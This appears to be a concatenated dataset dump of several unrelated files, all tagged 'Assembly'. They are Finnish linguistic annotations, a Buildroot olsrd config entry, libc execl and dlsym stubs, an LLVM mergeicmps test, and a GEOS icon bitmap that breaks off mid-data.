#195 Lemma T195 kertoa
A585 PRS T195 Sg3
A586 VOICE T195 Act
A587 TENSE T195 Prs
A588 MOOD T195 Ind
A589 CASECHANGE T195 cap
T196 V 1462 1468 olevan
#196 Lemma T196 olla
A590 NUM T196 Sg
A591 CASE T196 Gen
A592 VOICE T196 Act
A593 PCP T196 PrsPrc
A594 CMP T196 Pos
A595 CASECHANGE T196 cap
T197 N 1469 1473 ajan
#197 Lemma T197 aika
A596 NUM T197 Sg
A597 CASE T197 Gen
A598 CASECHANGE T197 cap
T198 V 1474 1482 esitellä
#198 Lemma T198 esitellä
A599 NUM T198 Sg
A600 CASE T198 Lat
A601 VOICE T198 Act
A602 INF T198 Inf1
A603 CASECHANGE T198 cap
T199 A 1483 1487 uusi
#199 Lemma T199 uusi
A604 NUM T199 Sg
A605 CASE T199 Nom
A606 CMP T199 Pos
A607 CASECHANGE T199 cap
T200 N 1488 1503 sirkusprinsessa
#200 Lemma T200 sirkus|prinsessa
A608 NUM T200 Sg
A609 CASE T200 Nom
A610 CASECHANGE T200 cap
T201 Punct 1504 1505 ,
#201 Lemma T201 ,
T202 N 1506 1520 intimihierojat
#202 Lemma T202 intimihieroja
A611 NUM T202 Pl
A612 CASE T202 Nom
A613 CASECHANGE T202 cap
A614 OTHER T202 UNK
T203 V 1521 1529 joutuvat
#203 Lemma T203 joutua
A615 PRS T203 Pl3
A616 VOICE T203 Act
A617 TENSE T203 Prs
A618 MOOD T203 Ind
A619 CASECHANGE T203 cap
T204 V 1530 1541 kauppaamaan
#204 Lemma T204 kaupata
A620 NUM T204 Sg
A621 CASE T204 Ill
A622 VOICE T204 Act
A623 PCP T204 AgPcp
A624 CMP T204 Pos
A625 CASECHANGE T204 cap
T205 Pron 1542 1549 itseään
#205 Lemma T205 itse
A626 SUBCAT T205 Refl
A627 NUM T205 Sg
A628 CASE T205 Par
A629 POSS T205 PxPl3
A630 CASECHANGE T205 cap
T206 A 1550 1565 keski-ikäisille
#206 Lemma T206 keski-ikäinen
A631 NUM T206 Pl
A632 CASE T206 All
A633 CMP T206 Pos
A634 CASECHANGE T206 cap
T207 A 1566 1575 lihaville
#207 Lemma T207 lihava
A635 NUM T207 Pl
A636 CASE T207 All
A637 CMP T207 Pos
A638 CASECHANGE T207 cap
T208 N 1576 1584 miehille
#208 Lemma T208 mies
A639 NUM T208 Pl
A640 CASE T208 All
A641 CASECHANGE T208 cap
T209 Punct 1585 1586 .
#209 Lemma T209 .
R191 iccomp Arg1:T197 Arg2:T198
R192 nommod Arg1:T204 Arg2:T208
R193 dobj Arg1:T198 Arg2:T200
R194 amod Arg1:T208 Arg2:T207
R195 advmod Arg1:T195 Arg2:T191
R196 poss Arg1:T194 Arg2:T193
R197 amod Arg1:T208 Arg2:T206
R198 punct Arg1:T204 Arg2:T209
R199 nsubj Arg1:T204 Arg2:T202
R200 aux Arg1:T204 Arg2:T203
R201 dobj Arg1:T204 Arg2:T205
R202 ccomp Arg1:T195 Arg2:T197
R203 amod Arg1:T200 Arg2:T199
R204 punct Arg1:T195 Arg2:T201
R205 nsubj Arg1:T195 Arg2:T194
R206 cop Arg1:T197 Arg2:T196
R207 advcl Arg1:T204 Arg2:T195
R208 mark Arg1:T195 Arg2:T192
T210 N 1587 1596 Lauluista
#210 Lemma T210 laulu
A642 NUM T210 Pl
A643 CASE T210 Ela
A644 CASECHANGE T210 Cap
T211 A 1597 1602 ainoa
#211 Lemma T211 ainoa
A645 NUM T211 Sg
A646 CASE T211 Nom
A647 CMP T211 Pos
A648 CASECHANGE T211 cap
T212 V 1603 1615 kritisoitava
#212 Lemma T212 kritisoida
A649 NUM T212 Sg
A650 CASE T212 Nom
A651 VOICE T212 Pass
A652 PCP T212 PrsPrc
A653 CMP T212 Pos
A654 CASECHANGE T212 cap
T213 V 1616 1618 on
#213 Lemma T213 olla
A655 PRS T213 Sg3
A656 VOICE T213 Act
A657 TENSE T213 Prs
A658 MOOD T213 Ind
A659 CASECHANGE T213 cap
T214 N 1619 1629 mielestäni
#214 Lemma T214 mieli
A660 NUM T214 Sg
A661 CASE T214 Ela
A662 POSS T214 PxSg1
A663 CASECHANGE T214 cap
T215 Pcle 1630 1634 vain
#215 Lemma T215 vain
A664 CASECHANGE T215 cap
T216 N 1635 1649 loppukappaleen
#216 Lemma T216 loppu|kappale
A665 NUM T216 Sg
A666 CASE T216 Gen
A667 CASECHANGE T216 cap
T217 N 1650 1657 valinta
#217 Lemma T217 valin
A668 NUM T217 Sg
A669 CASE T217 Par
A670 CASECHANGE T217 cap
T218 Punct 1658 1659 ,
#218 Lemma T218 ,
T219 Pron 1660 1664 mitä
#219 Lemma T219 mikä
A671 SUBCAT T219 Rel
A672 NUM T219 Sg
A673 CASE T219 Par
A674 CASECHANGE T219 cap
T220 V 1665 1667 ei
#220 Lemma T220 ei
A675 SUBCAT T220 Neg
A676 PRS T220 Sg3
A677 VOICE T220 Act
A678 CASECHANGE T220 cap
T221 V 1668 1679 pelastanaut
#221 Lemma T221 pelastaa
A679 NUM T221 Sg
A680 CASE T221 Nom
A681 VOICE T221 Act
A682 PCP T221 PrfPrc
A683 CMP T221 Pos
A684 CASECHANGE T221 cap
A685 OTHER T221 Typo+UNK
T222 Pcle 1680 1687 sinänsä
#222 Lemma T222 sinänsä
A686 CASECHANGE T222 cap
T223 A 1688 1694 kaunis
#223 Lemma T223 kaunis
A687 NUM T223 Sg
A688 CASE T223 Nom
A689 CMP T223 Pos
A690 CASECHANGE T223 cap
T224 N 1695 1716 taustaprojisointikaan
#224 Lemma T224 tausta|projisointi
A691 NUM T224 Sg
A692 CASE T224 Nom
A693 CLIT T224 Foc_kaan
A694 CASECHANGE T224 cap
T225 Punct 1717 1718 .
#225 Lemma T225 .
R209 nsubj-cop Arg1:T217 Arg2:T212
R210 punct Arg1:T217 Arg2:T225
R211 dobj Arg1:T221 Arg2:T219
R212 cop Arg1:T217 Arg2:T213
R213 advmod Arg1:T217 Arg2:T215
R214 advmod Arg1:T223 Arg2:T222
R215 punct Arg1:T221 Arg2:T218
R216 gobj Arg1:T217 Arg2:T216
R217 det Arg1:T212 Arg2:T211
R218 rel Arg1:T221 Arg2:T219
R219 nommod Arg1:T217 Arg2:T214
R220 neg Arg1:T221 Arg2:T220
R221 amod Arg1:T224 Arg2:T223
R222 nsubj Arg1:T221 Arg2:T224
R223 rcmod Arg1:T217 Arg2:T221
R224 nommod Arg1:T212 Arg2:T210
T226 Foreign 1719 1725 Grande
#226 Lemma T226 Grande
A695 OTHER T226 UNK
T227 Foreign 1726 1733 finalen
#227 Lemma T227 finalen
A696 OTHER T227 UNK
T228 V 1734 1739 pitää
#228 Lemma T228 pitää
A697 PRS T228 Sg3
A698 VOICE T228 Act
A699 TENSE T228 Prs
A700 MOOD T228 Ind
A701 CASECHANGE T228 cap
T229 V 1740 1744 olla
#229 Lemma T229 olla
A702 NUM T229 Sg
A703 CASE T229 Lat
A704 VOICE T229 Act
A705 INF T229 Inf1
A706 CASECHANGE T229 cap
T230 Foreign 1745 1751 grande
#230 Lemma T230 grande
A707 OTHER T230 UNK
T231 Punct 1752 1753 ,
#231 Lemma T231 ,
T232 V 1754 1758 eikä
#232 Lemma T232 ei
A708 SUBCAT T232 Neg
A709 PRS T232 Sg3
A710 VOICE T232 Act
A711 CLIT T232 Foc_ka
A712 CASECHANGE T232 cap
T233 A 1759 1767 pienestä
#233 Lemma T233 pieni
A713 NUM T233 Sg
A714 CASE T233 Ela
A715 CMP T233 Pos
A716 CASECHANGE T233 cap
T234 N 1768 1780 lurituksesta
#234 Lemma T234 luritus
A717 NUM T234 Sg
A718 CASE T234 Ela
A719 CASECHANGE T234 cap
T235 V 1781 1785 tule
#235 Lemma T235 tulla
A720 PRS T235 Sg2
A721 VOICE T235 Act
A722 MOOD T235 Imprt
A723 CASECHANGE T235 cap
T236 A 1786 1791 muuta
#236 Lemma T236 muu
A724 NUM T236 Sg
A725 CASE T236 Par
A726 CMP T236 Pos
A727 CASECHANGE T236 cap
T237 C 1792 1796 kuin
#237 Lemma T237 kuin
A728 SUBCAT T237 CS
A729 CASECHANGE T237 cap
T238 A 1797 1809 kiukkuiseksi
#238 Lemma T238 kiukkuinen
A730 NUM T238 Sg
A731 CASE T238 Tra
A732 CMP T238 Pos
A733 CASECHANGE T238 cap
T239 Punct 1810 1811 .
#239 Lemma T239 .
R225 nommod Arg1:T235 Arg2:T234
R226 punct Arg1:T230 Arg2:T239
R227 cop Arg1:T230 Arg2:T229
R228 amod Arg1:T234 Arg2:T233
R229 punct Arg1:T230 Arg2:T231
R230 name Arg1:T227 Arg2:T226
R231 conj Arg1:T230 Arg2:T235
R232 aux Arg1:T229 Arg2:T228
R233 cc Arg1:T230 Arg2:T232
R234 comparator Arg1:T238 Arg2:T237
R235 compar Arg1:T236 Arg2:T238
R236 nsubj-cop Arg1:T230 Arg2:T227
R237 acomp Arg1:T235 Arg2:T236
|
{
"language": "Assembly"
}
|
config BR2_PACKAGE_OLSR
bool "olsrd"
depends on BR2_USE_MMU # fork()
depends on BR2_INET_IPV6
depends on BR2_TOOLCHAIN_HAS_THREADS
help
The Optimized Link State Routing protocol (OLSR) is a
routing protocol that is optimised for mobile ad-hoc
networks, sometimes called wireless mesh networks. It is a
proactive link-state routing protocol that floods a full
topology table to all nodes in the network which then
compute optimal forwarding paths locally.
http://www.olsr.org/
comment "olsr needs a toolchain w/ IPv6, threads"
depends on BR2_USE_MMU
depends on !BR2_INET_IPV6 || !BR2_TOOLCHAIN_HAS_THREADS
|
{
"language": "Assembly"
}
|
.define _execl
.sect .text
.sect .rom
.sect .data
.sect .bss
.extern _execl
.sect .text
_execl: link a6,#0
tst.b -132(sp)
move.l _environ,-(sp)
pea 12(sp)
move.l 8(a6),-(sp)
jsr _execve
add.l #0xC,sp
unlk a6
rts
|
{
"language": "Assembly"
}
|
.global dlsym
.type dlsym,@function
dlsym:
brid __dlsym@PLT
add r7, r15, r0
|
{
"language": "Assembly"
}
|
; NOTE: Assertions have been autogenerated by utils/update_test_checks.py
; RUN: opt < %s -mergeicmps -S | FileCheck %s --check-prefix=NOEXPANSION
%"struct.std::pair" = type { i32, i32 }
define zeroext i1 @opeq1(
; NOEXPANSION-LABEL: @opeq1(
; NOEXPANSION-NEXT: entry:
; NOEXPANSION-NEXT: [[FIRST_I:%.*]] = getelementptr inbounds %"struct.std::pair", %"struct.std::pair"* [[A:%.*]], i64 0, i32 0
; NOEXPANSION-NEXT: [[TMP0:%.*]] = load i32, i32* [[FIRST_I]], align 4
; NOEXPANSION-NEXT: [[FIRST1_I:%.*]] = getelementptr inbounds %"struct.std::pair", %"struct.std::pair"* [[B:%.*]], i64 0, i32 0
; NOEXPANSION-NEXT: [[TMP1:%.*]] = load i32, i32* [[FIRST1_I]], align 4
; NOEXPANSION-NEXT: [[CMP_I:%.*]] = icmp eq i32 [[TMP0]], [[TMP1]]
; NOEXPANSION-NEXT: br i1 [[CMP_I]], label [[LAND_RHS_I:%.*]], label [[OPEQ1_EXIT:%.*]]
; NOEXPANSION: land.rhs.i:
; NOEXPANSION-NEXT: [[SECOND_I:%.*]] = getelementptr inbounds %"struct.std::pair", %"struct.std::pair"* [[A]], i64 0, i32 1
; NOEXPANSION-NEXT: [[TMP2:%.*]] = load i32, i32* [[SECOND_I]], align 4
; NOEXPANSION-NEXT: [[SECOND2_I:%.*]] = getelementptr inbounds %"struct.std::pair", %"struct.std::pair"* [[B]], i64 0, i32 1
; NOEXPANSION-NEXT: [[TMP3:%.*]] = load i32, i32* [[SECOND2_I]], align 4
; NOEXPANSION-NEXT: [[CMP3_I:%.*]] = icmp eq i32 [[TMP2]], [[TMP3]]
; NOEXPANSION-NEXT: br label [[OPEQ1_EXIT]]
; NOEXPANSION: opeq1.exit:
; NOEXPANSION-NEXT: [[TMP4:%.*]] = phi i1 [ false, [[ENTRY:%.*]] ], [ [[CMP3_I]], [[LAND_RHS_I]] ]
; NOEXPANSION-NEXT: ret i1 [[TMP4]]
;
%"struct.std::pair"* nocapture readonly dereferenceable(8) %a,
%"struct.std::pair"* nocapture readonly dereferenceable(8) %b) local_unnamed_addr #0 {
entry:
%first.i = getelementptr inbounds %"struct.std::pair", %"struct.std::pair"* %a, i64 0, i32 0
%0 = load i32, i32* %first.i, align 4
%first1.i = getelementptr inbounds %"struct.std::pair", %"struct.std::pair"* %b, i64 0, i32 0
%1 = load i32, i32* %first1.i, align 4
%cmp.i = icmp eq i32 %0, %1
br i1 %cmp.i, label %land.rhs.i, label %opeq1.exit
land.rhs.i:
%second.i = getelementptr inbounds %"struct.std::pair", %"struct.std::pair"* %a, i64 0, i32 1
%2 = load i32, i32* %second.i, align 4
%second2.i = getelementptr inbounds %"struct.std::pair", %"struct.std::pair"* %b, i64 0, i32 1
%3 = load i32, i32* %second2.i, align 4
%cmp3.i = icmp eq i32 %2, %3
br label %opeq1.exit
opeq1.exit:
%4 = phi i1 [ false, %entry ], [ %cmp3.i, %land.rhs.i ]
ret i1 %4
}
; Same as above, but the two blocks are in inverse order.
define zeroext i1 @opeq1_inverse(
; NOEXPANSION-LABEL: @opeq1_inverse(
; NOEXPANSION-NEXT: entry:
; NOEXPANSION-NEXT: [[FIRST_I:%.*]] = getelementptr inbounds %"struct.std::pair", %"struct.std::pair"* [[A:%.*]], i64 0, i32 1
; NOEXPANSION-NEXT: [[TMP0:%.*]] = load i32, i32* [[FIRST_I]], align 4
; NOEXPANSION-NEXT: [[FIRST1_I:%.*]] = getelementptr inbounds %"struct.std::pair", %"struct.std::pair"* [[B:%.*]], i64 0, i32 1
; NOEXPANSION-NEXT: [[TMP1:%.*]] = load i32, i32* [[FIRST1_I]], align 4
; NOEXPANSION-NEXT: [[CMP_I:%.*]] = icmp eq i32 [[TMP0]], [[TMP1]]
; NOEXPANSION-NEXT: br i1 [[CMP_I]], label [[LAND_RHS_I:%.*]], label [[OPEQ1_EXIT:%.*]]
; NOEXPANSION: land.rhs.i:
; NOEXPANSION-NEXT: [[SECOND_I:%.*]] = getelementptr inbounds %"struct.std::pair", %"struct.std::pair"* [[A]], i64 0, i32 0
; NOEXPANSION-NEXT: [[TMP2:%.*]] = load i32, i32* [[SECOND_I]], align 4
; NOEXPANSION-NEXT: [[SECOND2_I:%.*]] = getelementptr inbounds %"struct.std::pair", %"struct.std::pair"* [[B]], i64 0, i32 0
; NOEXPANSION-NEXT: [[TMP3:%.*]] = load i32, i32* [[SECOND2_I]], align 4
; NOEXPANSION-NEXT: [[CMP3_I:%.*]] = icmp eq i32 [[TMP2]], [[TMP3]]
; NOEXPANSION-NEXT: br label [[OPEQ1_EXIT]]
; NOEXPANSION: opeq1.exit:
; NOEXPANSION-NEXT: [[TMP4:%.*]] = phi i1 [ false, [[ENTRY:%.*]] ], [ [[CMP3_I]], [[LAND_RHS_I]] ]
; NOEXPANSION-NEXT: ret i1 [[TMP4]]
;
%"struct.std::pair"* nocapture readonly dereferenceable(8) %a,
%"struct.std::pair"* nocapture readonly dereferenceable(8) %b) local_unnamed_addr #0 {
entry:
%first.i = getelementptr inbounds %"struct.std::pair", %"struct.std::pair"* %a, i64 0, i32 1
%0 = load i32, i32* %first.i, align 4
%first1.i = getelementptr inbounds %"struct.std::pair", %"struct.std::pair"* %b, i64 0, i32 1
%1 = load i32, i32* %first1.i, align 4
%cmp.i = icmp eq i32 %0, %1
br i1 %cmp.i, label %land.rhs.i, label %opeq1.exit
land.rhs.i:
%second.i = getelementptr inbounds %"struct.std::pair", %"struct.std::pair"* %a, i64 0, i32 0
%2 = load i32, i32* %second.i, align 4
%second2.i = getelementptr inbounds %"struct.std::pair", %"struct.std::pair"* %b, i64 0, i32 0
%3 = load i32, i32* %second2.i, align 4
%cmp3.i = icmp eq i32 %2, %3
br label %opeq1.exit
opeq1.exit:
%4 = phi i1 [ false, %entry ], [ %cmp3.i, %land.rhs.i ]
ret i1 %4
}
|
{
"language": "Assembly"
}
|
/*
* Moniker generated from PR003-8.pcx with pixel 1 masked out
*/
start AppMonikerResource, data;
visMoniker PrefGPCMoniker = {
size = standard;
style = icon;
aspectRatio = normal;
color = color8;
cachedSize = 64, 40;
gstring {
GSBeginString
GSDrawBitmapAtCP 2545
CBitmap <<64,40,BMC_PACKBITS,BMF_8BIT or mask BMT_MASK or mask BMT_PALETTE or mask BMT_COMPLEX>, 0, 40, 0, 790, 20, 72, 72>
word 256
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0xff, 0x00, 0xff >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x00, 0x00, 0x00 >
RGBValue < 0x1a, 0x1a, 0x1a >
RGBValue < 0x1c, 0x1c, 0x1c >
RGBValue < 0x1e, 0x1e, 0x1e >
RGBValue < 0x22, 0x22, 0x22 >
RGBValue < 0x24, 0x24, 0x24 >
RGBValue < 0x26, 0x26, 0x26 >
RGBValue < 0x28, 0x28, 0x28 >
RGBValue < 0x2b, 0x2b, 0x2b >
RGBValue < 0x2d, 0x2d, 0x2d >
RGBValue < 0x2f, 0x2f, 0x2f >
RGBValue < 0x33, 0x33, 0x33 >
RGBValue < 0x34, 0x34, 0x34 >
RGBValue < 0x37, 0x37, 0x37 >
RGBValue < 0x3b, 0x3b, 0x3b >
RGBValue < 0x3c, 0x3c, 0x3c >
RGBValue < 0x3f, 0x3f, 0x3f >
RGBValue < 0x41, 0x41, 0x41 >
RGBValue < 0x42, 0x42, 0x42 >
RGBValue < 0x44, 0x44, 0x44 >
RGBValue < 0x46, 0x46, 0x46 >
RGBValue < 0x48, 0x48, 0x48 >
RGBValue < 0x4a, 0x4a, 0x4a >
RGBValue < 0x4d, 0x4d, 0x4d >
RGBValue < 0x4e, 0x4e, 0x4e >
RGBValue < 0x50, 0x50, 0x50 >
RGBValue < 0x52, 0x52, 0x52 >
RGBValue < 0x55, 0x55, 0x55 >
RGBValue < 0x56, 0x56, 0x56 >
RGBValue < 0x5b, 0x5b, 0x5b >
RGBValue < 0x5d, 0x5d, 0x5d >
RGBValue < 0x5f, 0x5f, 0x5f >
RGBValue < 0x61, 0x61, 0x61 >
RGBValue < 0x63, 0x63, 0x63 >
RGBValue < 0x65, 0x65, 0x65 >
RGBValue < 0x66, 0x66, 0x66 >
RGBValue < 0x69, 0x69, 0x69 >
RGBValue < 0x6a, 0x6a, 0x6a >
RGBValue < 0x6d, 0x6d, 0x6d >
RGBValue < 0x6f, 0x6f, 0x6f >
RGBValue < 0x70, 0x70, 0x70 >
RGBValue < 0x73, 0x73, 0x73 >
RGBValue < 0x74, 0x74, 0x74 >
RGBValue < 0x77, 0x77, 0x77 >
RGBValue < 0x78, 0x78, 0x78 >
RGBValue < 0x7c, 0x7c, 0x7c >
RGBValue < 0x7f, 0x7f, 0x7f >
RGBValue < 0x80, 0x80, 0x80 >
RGBValue < 0x83, 0x83, 0x83 >
RGBValue < 0x84, 0x84, 0x84 >
RGBValue < 0x86, 0x86, 0x86 >
RGBValue < 0x88, 0x88, 0x88 >
RGBValue < 0x8d, 0x8d, 0x8d >
RGBValue < 0x8f, 0x8f, 0x8f >
RGBValue < 0x91, 0x91, 0x91 >
RGBValue < 0x93, 0x93, 0x93 >
RGBValue < 0x94, 0x94, 0x94 >
RGBValue < 0x95, 0x95, 0x95 >
RGBValue < 0x99, 0x99, 0x99 >
RGBValue < 0x9b, 0x9b, 0x9b >
RGBValue < 0x9d, 0x9d, 0x9d >
RGBValue < 0x9e, 0x9e, 0x9e >
RGBValue < 0xa1, 0xa1, 0xa1 >
RGBValue < 0xa2, 0xa2, 0xa2 >
RGBValue < 0xa4, 0xa4, 0xa4 >
RGBValue < 0xa6, 0xa6, 0xa6 >
RGBValue < 0xa8, 0xa8, 0xa8 >
RGBValue < 0xa9, 0xa9, 0xa9 >
RGBValue < 0xaa, 0xaa, 0xaa >
RGBValue < 0xad, 0xad, 0xad >
RGBValue < 0xae, 0xae, 0xae >
RGBValue < 0xb1, 0xb1, 0xb1 >
RGBValue < 0xb2, 0xb2, 0xb2 >
RGBValue < 0xb4, 0xb4, 0xb4 >
RGBValue < 0xb7, 0xb7, 0xb7 >
RGBValue < 0xb9, 0xb9, 0xb9 >
RGBValue < 0xba, 0xba, 0xba >
RGBValue < 0xbd, 0xbd, 0xbd >
RGBValue < 0xbe, 0xbe, 0xbe >
RGBValue < 0xc1, 0xc1, 0xc1 >
RGBValue < 0xc2, 0xc2, 0xc2 >
RGBValue < 0xc5, 0xc5, 0xc5 >
RGBValue < 0xc7, 0xc7, 0xc7 >
RGBValue < 0xc9, 0xc9, 0xc9 >
RGBValue < 0xcb, 0xcb, 0xcb >
RGBValue < 0xcc, 0xcc, 0xcc >
RGBValue < 0xd0, 0xd0, 0xd0 >
RGBValue < 0xd2, 0xd2, 0xd2 >
RGBValue < 0xd4, 0xd4, 0xd4 >
RGBValue < 0xd7, 0xd7, 0xd7 >
RGBValue < 0xd8, 0xd8, 0xd8 >
RGBValue < 0xdb, 0xdb, 0xdb >
RGBValue < 0xde, 0xde, 0xde >
RGBValue < 0xe0, 0xe0, 0xe0 >
RGBValue < 0xe9, 0xe9, 0xe9 >
RGBValue < 0xf1, 0xf1, 0xf1 >
RGBValue < 0xf2, 0xf2, 0xf2 >
RGBValue < 0xf9, 0xf9, 0xf9 >
RGBValue < 0xfd, 0xfd, 0xfd >
RGBValue < 0xff, 0xff, 0xff >
RGBValue < 0x80, 0x7f, 0x7f >
RGBValue < 0x8c, 0x8b, 0x8b >
RGBValue < 0x97, 0x96, 0x96 >
RGBValue < 0x98, 0x97, 0x97 >
RGBValue < 0x9c, 0x9b, 0x9b >
RGBValue < 0xa2, 0xa1, 0xa1 >
RGBValue < 0xdd, 0xdc, 0xdc >
RGBValue < 0xe2, 0xe1, 0xe1 >
RGBValue < 0xe3, 0xe2, 0xe2 >
RGBValue < 0xe5, 0xe4, 0xe4 >
RGBValue < 0xe6, 0xe5, 0xe5 >
RGBValue < 0x56, 0x55, 0x55 >
RGBValue < 0x5a, 0x59, 0x59 >
RGBValue < 0x66, 0x65, 0x65 >
RGBValue < 0x6a, 0x69, 0x69 >
RGBValue < 0x70, 0x6f, 0x6f >
RGBValue < 0x7b, 0x7a, 0x7a >
RGBValue < 0x7c, 0x7b, 0x7b >
RGBValue < 0xac, 0xaa, 0xaa >
RGBValue < 0xb0, 0xae, 0xae >
RGBValue < 0xc7, 0xc5, 0xc5 >
RGBValue < 0xd4, 0xd2, 0xd2 >
RGBValue < 0x40, 0x3f, 0x3f >
RGBValue < 0x4e, 0x4d, 0x4d >
RGBValue < 0x86, 0x84, 0x84 >
RGBValue < 0x8b, 0x89, 0x89 >
RGBValue < 0x93, 0x91, 0x91 >
RGBValue < 0x97, 0x95, 0x95 >
RGBValue < 0xa4, 0xa2, 0xa2 >
RGBValue < 0x39, 0x38, 0x38 >
RGBValue < 0x6d, 0x6b, 0x6b >
RGBValue < 0x6f, 0x6d, 0x6d >
RGBValue < 0x74, 0x72, 0x72 >
RGBValue < 0x78, 0x76, 0x76 >
RGBValue < 0x7e, 0x7c, 0x7c >
RGBValue < 0x31, 0x30, 0x30 >
RGBValue < 0x58, 0x56, 0x56 >
RGBValue < 0x5d, 0x5b, 0x5b >
RGBValue < 0x5f, 0x5d, 0x5d >
RGBValue < 0x61, 0x5f, 0x5f >
RGBValue < 0x83, 0x80, 0x80 >
RGBValue < 0x8c, 0x89, 0x89 >
RGBValue < 0x6e, 0x6b, 0x6b >
RGBValue < 0x7b, 0x78, 0x78 >
RGBValue < 0x48, 0x46, 0x46 >
RGBValue < 0x7c, 0x78, 0x78 >
RGBValue < 0x7f, 0x7b, 0x7b >
RGBValue < 0x4d, 0x4a, 0x4a >
RGBValue < 0x2f, 0x2d, 0x2d >
RGBValue < 0x33, 0x31, 0x31 >
RGBValue < 0x62, 0x5e, 0x5e >
RGBValue < 0x65, 0x61, 0x61 >
RGBValue < 0x66, 0x62, 0x62 >
RGBValue < 0x44, 0x41, 0x41 >
RGBValue < 0x45, 0x42, 0x42 >
RGBValue < 0xa2, 0xa2, 0xa1 >
RGBValue < 0x9b, 0x9b, 0x99 >
RGBValue < 0xa5, 0xa6, 0xa6 >
RGBValue < 0xad, 0xae, 0xae >
RGBValue < 0xcb, 0xcc, 0xcc >
RGBValue < 0xce, 0xcf, 0xcf >
RGBValue < 0xdf, 0xe0, 0xe0 >
RGBValue < 0x58, 0x59, 0x59 >
RGBValue < 0x59, 0x5a, 0x5a >
RGBValue < 0xaa, 0xac, 0xac >
RGBValue < 0xe0, 0xe2, 0xe2 >
RGBValue < 0x84, 0x86, 0x86 >
RGBValue < 0x89, 0x8b, 0x8b >
RGBValue < 0x95, 0x97, 0x97 >
RGBValue < 0xa2, 0xa4, 0xa4 >
RGBValue < 0x8b, 0x8a, 0x8b >
RGBValue < 0xdc, 0xda, 0xdb >
db 0xf9, 0xff
db 0xc1, 0xdb
db 0xf9, 0xff
db 0x34, 0xdb, 0xfe, 0xe1, 0xd1, 0x7a, 0x60, 0x65,
0x6f, 0x77, 0x7d, 0x84, 0x8d, 0x94, 0x9d, 0xd0,
0x5b, 0x8f, 0x8e, 0x73, 0x60, 0xc7, 0xf6, 0x93,
0x58, 0xde, 0x77, 0xa3, 0xf5, 0x8a, 0x58, 0xe9,
0x7d, 0xa7, 0xf4, 0x6b, 0xdf, 0x80, 0x6b, 0x83,
0xa7, 0x6b, 0x84, 0x9b, 0x89, 0x76, 0x83, 0xe7,
0xce, 0x74, 0x76, 0x7d, 0x66, 0xdb, 0xf7, 0x68,
0x00, 0xc2
db 0xf9, 0xff
db 0x34, 0xdb, 0xfe, 0xf0, 0x7f, 0x60, 0x65, 0x6f,
0x77, 0x7d, 0x84, 0x8d, 0x93, 0x9d, 0x75, 0xeb,
0x6f, 0xa3, 0xab, 0xa0, 0x58, 0xc6, 0x98, 0x58,
0x78, 0xfa, 0x69, 0x73, 0xcb, 0x58, 0x87, 0x7d,
0x63, 0x7f, 0xe0, 0x58, 0x99, 0x9a, 0x87, 0x5b,
